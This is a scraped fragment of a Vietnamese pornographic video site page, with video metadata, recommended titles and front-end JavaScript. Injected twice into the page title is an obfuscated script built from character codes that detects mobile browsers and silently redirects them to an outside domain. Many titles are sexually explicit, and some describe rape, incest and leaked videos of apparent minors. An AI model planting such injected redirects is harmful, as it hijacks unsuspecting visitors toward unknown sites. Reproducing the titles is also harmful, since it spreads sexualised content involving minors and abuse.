</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>"Giới tính của tôi có kỳ lạ không?" Câu chuyện hậu trường đầy đủ về Mami (tên tạm thời), cô gái cầu hôn K.M.P., 31 tuổi.
\"Giới tính của tôi có kỳ lạ không?\" Câu chuyện hậu trường đầy đủ về Mami (tên tạm thời), cô gái cầu hôn K.M.P., 31 tuổi.","site_id":0,"video_url":"https://2605.v155p.com/20260605/vdtiWUfb/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDY4MmVkMGRmYzA5M2M1YjE0MDU3NGNiOWE5Y2ZjNGIuanBn.cache","duration":"02:11:46","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":396,"description":"\"Giới tính của tôi có gì lạ không?\" Câu chuyện đầy đủ về Mami (tên tạm thời), cô gái cầu hôn K.M.P., 31 tuổi.","tag":["của tôi","giới tính","sự kỳ lạ","Đề xuất","con gái","Hậu trường","trọn"],"site_url":"174576","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["制服诱惑"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDY4MmVkMGRmYzA5M2M1YjE0MDU3NGNiOWE5Y2ZjNGIuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"「我的性别很奇怪吗?」求婚女孩 Mami(暂定)的幕后完整,31岁 K.M.P","s_keywords":"「我的性别很奇怪吗?」求婚女孩 Mami(暂定)的幕后完整,31岁 K.M.P","s_description":"\"Giới tính của tôi có kỳ lạ không?\" Câu chuyện hậu trường đầy đủ về Mami (tên tạm thời), cô gái cầu hôn K.M.P., 31 tuổi.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjQvN2VmZGQyYTk0MTdhM2RmOWIwNDg5NzBjM2VlYzVlNDQuanBn.cache","vod_id":19064218,"title":"Một người đẹp ngực khủng cỡ C đang có một đêm nồng cháy trên giường, thật dâm đãng! Tư thế 69, liếm láp và làm tình với âm đạo nhỏ bé dâm đãng của tôi, thậm chí trong lúc nghỉ ngơi cô ấy còn dùng máy rung để kích thích âm đạo của mình.","lastmod":"2025-12-13","duration":"01:16:04","url":"/play/19064218.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTcvODVjYzI1ZjgxNzcyYjRkYzg4M2RmZTdlOGZkNTc4MjguanBn.cache","vod_id":19043300,"title":"FGAN143 Bloomer Ona ủng hộ JOI: Tôi sẽ dạy bạn cách thủ dâm với chiếc quần harem gợi cảm của tôi.","lastmod":"2025-07-16","duration":"02:01:49","url":"/play/19043300.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGE3MzczMGQxYTVjMWEyODk3ZmJkOWRiOGEyYzIzNjMuanBn.cache","vod_id":18926754,"title":"FC2PPV-1260066 [Bán lẻ/Gói phim] Người vợ xinh đẹp 33 tuổi quên chồng, quan hệ tình dục với những người đàn ông khác (Phiên bản đầy đủ)","lastmod":"2025-12-14","duration":"01:14:28","url":"/play/18926754.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDQ3YTA4MDY3YjVjODUyM2VlMGQ2ZWE0MWFlYjdmZDUuanBn.cache","vod_id":18985805,"title":"BF-713 Chị gái tôi, người có thân hình rất quyến rũ, đã dụ dỗ tôi khi đang khỏa thân, và chúng tôi đã quan hệ tình dục thâm nhập rất nhiều lần. (Yu Yueqing)","lastmod":"2025-03-23","duration":"02:28:20","url":"/play/18985805.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2E3Mjg4NTVjN2IwM2YxYmEyYjU2NTY3ZTBmN2ViMjcuanBn.cache","vod_id":18948254,"title":"HUNTA-561 \"Chỉ có anh trai tôi khen ngực tôi\" \"Chỉ có em khen dương vật của anh\"","lastmod":"2025-12-14","duration":"01:41:13","url":"/play/18948254.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjI1L0Z3YWRkc2MzLzEuanBn.cache","vod_id":19145687,"title":"JD032 Hương Dâu Tây - Giấc Mơ Của Cô Gái Hàng Xóm: Khao Khát Anh Trai Quan Hệ Tình Dục Với Âm Đạo Mềm Mại Của Mình","lastmod":"2026-02-27","duration":"29:28","url":"/play/19145687.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTU2NGE1MzE3N2VhNGI3ZTkxYTIwNzI5N2Q4MjU3MzkuanBn.cache","vod_id":18927541,"title":"CADV-749_A Cô Bạn Gái Trong Mơ Của Tôi - Mao Kurata - Phần 1","lastmod":"2025-12-14","duration":"01:48:57","url":"/play/18927541.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDY4MmVkMGRmYzA5M2M1YjE0MDU3NGNiOWE5Y2ZjNGIuanBn.cache","vod_id":19162014,"title":"\"Giới tính của tôi có kỳ lạ không?\" Câu chuyện hậu trường đầy đủ về Mami (tên tạm thời), cô gái cầu hôn K.M.P., 31 tuổi.","lastmod":"2026-07-11","duration":"02:11:46","url":"/play/19162014.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODk1MzRiOGQwZGM3MzljNDU2NzczNTZkZjcyMjI3NmQuanBn.cache","vod_id":18969978,"title":"[Phụ đề tiếng Trung] MIMK-113 Chị dâu tôi cho rằng việc thỏa mãn dục vọng của anh trai mình là trách nhiệm của cô ấy.","lastmod":"2025-03-23","duration":"01:58:05","url":"/play/18969978.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjQvODRkOTdlYjQ5NTdiNmI2NTVhZWNhZWNkNGRhNGM4NTAuanBn.cache","vod_id":19064109,"title":"Người mẹ trưởng thành 29 ~Bộ phận sinh dục phóng túng của tôi, tôi không thể nói với con trai mình~ Tomomi Okanishi NSFS_312","lastmod":"2025-12-13","duration":"02:00:06","url":"/play/19064109.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTUxZDFiY2NlMDliM2ZmODcxNmVhMTJmYWE0YzE2ZWYuanBn.cache","vod_id":19017402,"title":"417SRYA060 Chỉ dành cho các cô gái Nhật Bản tuổi vị thành niên! Nếu thắng, bạn sẽ nhận được giải thưởng! Nếu thua, bạn sẽ bị phá sản hoàn toàn!!","lastmod":"2025-03-24","duration":"01:11:12","url":"/play/19017402.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjkzNTFlMDg3MzQ1OTJkMDcyMGU2MzZlNGVjYzE5MzcuanBn.cache","vod_id":18994307,"title":"JUL-065 Cuộc rượt đuổi đầy khoái lạc trong cơn say Tôi tham dự một bữa tiệc với tất cả họ hàng, và người anh rể say xỉn của tôi đã khiến tôi đạt cực khoái hết lần này đến lần khác. — Yuko Shiraki","lastmod":"2025-03-23","duration":"02:30:37","url":"/play/18994307.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGY3ZGEwNGQ0OTU5YmQyYTZmMTgzMDFkOTIyOGYwYzAuanBn.cache","vod_id":18933628,"title":"MIAA-198 Một cô gái làm việc trong cửa hàng xà phòng liên tục quan hệ tình dục với người bạn trai cũ phiền phức của mình, người biết rõ những điểm nhạy cảm của cô.","lastmod":"2025-12-14","duration":"02:59:24","url":"/play/18933628.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzMyOTRiZTY3N2RlODc4MjkxMmMwMjBkNTRlMTUyZjIuanBn.cache","vod_id":19005276,"title":"MIAA-870-C Tình Yêu Đầu Đời Tình Yêu Đầu Đời Từ ngày tôi gặp mối tình đầu, người bạn gái cũ của tôi, ở Tokyo, tôi đã quên mất thời gian.","lastmod":"2025-03-23","duration":"02:00:07","url":"/play/19005276.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTI2YzkxYTg2NDkzMzg0ZGMyMGE3M2MxZDRkNjZmMmQuanBn.cache","vod_id":18931402,"title":"OFJE-239_D Tám Giờ Quan Hệ Tình Dục Khi Bạn Không Ở Nhà - Phần 1 - Nội dung đầy đủ, Tuyển tập 8 tác phẩm mới nhất (Đĩa Blu-ray), Phần 4","lastmod":"2025-12-14","duration":"02:08:47","url":"/play/18931402.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDY5YTA5OTU2MWEyMmNlMzdkMWMxNjY0MTIyMjBjZGMuanBn.cache","vod_id":19011772,"title":"345SIMM327 Tôi đã nhờ một cô giáo mẫu giáo rất nổi tiếng giúp tôi mất trinh.","lastmod":"2025-03-24","duration":"57:54","url":"/play/19011772.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjYxM2I1ZTdmNTZlYmUyNGNjMzZiYTQyY2M5NWViZTguanBn.cache","vod_id":19005261,"title":"[Vụ bê bối trên mạng] Video ghi lại cảnh một nữ sinh trung học ở Fushun đưa bạn trai quen qua mạng về nhà bị rò rỉ.","lastmod":"2025-03-23","duration":"03:35","url":"/play/19005261.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDdkN2UwMWY2YzM0YzIyMjEzNmU0ODAwYzc2ZjA0Y2QuanBn.cache","vod_id":19153638,"title":"Tôi bị nam diễn viên yêu thích (một người rất đẹp trai) phản bội, và cuối cùng phải ở chung phòng với một nhà sản xuất cũ… Tôi là một người mẫu ảnh gợi cảm, Hina Miki.","lastmod":"2026-04-16","duration":"01:58:26","url":"/play/19153638.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODE0ZjZlNmQ4NzM5YjE4NDA1ZDFmNjY5Njk1YTg0NjMuanBn.cache","vod_id":18975676,"title":"MIST-214 Một cô gái bỏ nhà đi đến sống với tôi và dùng tư thế cưỡi ngựa để hút tinh trùng của tôi. Akemi Miu","lastmod":"2025-03-23","duration":"02:02:21","url":"/play/18975676.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTAyNjQxOTUxZTYxMTZiZTg2MmQyNjU0YzQ1NTU4ZjYuanBn.cache","vod_id":19016010,"title":"MEYD502 Tôi thực sự đã bị sếp của chồng cưỡng hiếp... Imai Kaho.","lastmod":"2025-03-24","duration":"01:56:56","url":"/play/19016010.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWJlNDQ1NTk3NmY0NjU2N2I0N2MwMjlmZjMwZGY4YTMuanBn.cache","vod_id":19001031,"title":"SDDE-583-CN [AV Nhân Hóa] Điện Thoại Di Động Của Tôi Biến Thành Một Người Phụ Nữ Nhạy Cảm - Momoka Kato","lastmod":"2025-03-23","duration":"01:41:19","url":"/play/19001031.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTNhM2I3M2QzMTI5NzQ0YmU0MzljMDNmZmE1NGE3OWIuanBn.cache","vod_id":18939536,"title":"[Phụ đề tiếng Trung] RCTD-264 Thẻ thời gian hoán đổi giới tính","lastmod":"2025-12-14","duration":"02:10:09","url":"/play/18939536.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjcvNTEyNDAzMGU5NTY1MTMzOTFmZDNjNmVhNDU4MzUxOTYuanBn.cache","vod_id":19040099,"title":"Một cô gái mũm mĩm và một con gà trống đen to lớn","lastmod":"2025-06-26","duration":"17:57","url":"/play/19040099.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGY1M2MyMzQxMjI2MGMzZTE1MjkwNzI3MTNmNWExMDYuanBn.cache","vod_id":18989260,"title":"200GANA-2242 Một buổi quay phim softcore nghiêm túc, lần đầu tiên quay. 1447 Nhận được một cô gái cao 175cm, ngực khủng, dáng thể thao miễn phí!! Một cô gái chơi cầu lông trông nghiêm nghị, bị lay động bởi những chuyển động của nam diễn viên, để lộ bộ ngực cỡ F tuyệt đẹp của mình. Cô ấy trở nên phấn khích khi anh ta dùng máy rung kích thích những vùng nhạy cảm của cô và đưa nó vào bên trong! Bộ ngực tuyệt đẹp và vòng ba lắc lư của cô ấy thực sự rất bắt mắt!!!","lastmod":"2025-03-23","duration":"01:14:13","url":"/play/18989260.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>"Giới tính của tôi có kỳ lạ không?" Câu chuyện hậu trường đầy đủ về Mami (tên tạm thời), cô gái cầu hôn K.M.P., 31 tuổi.',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}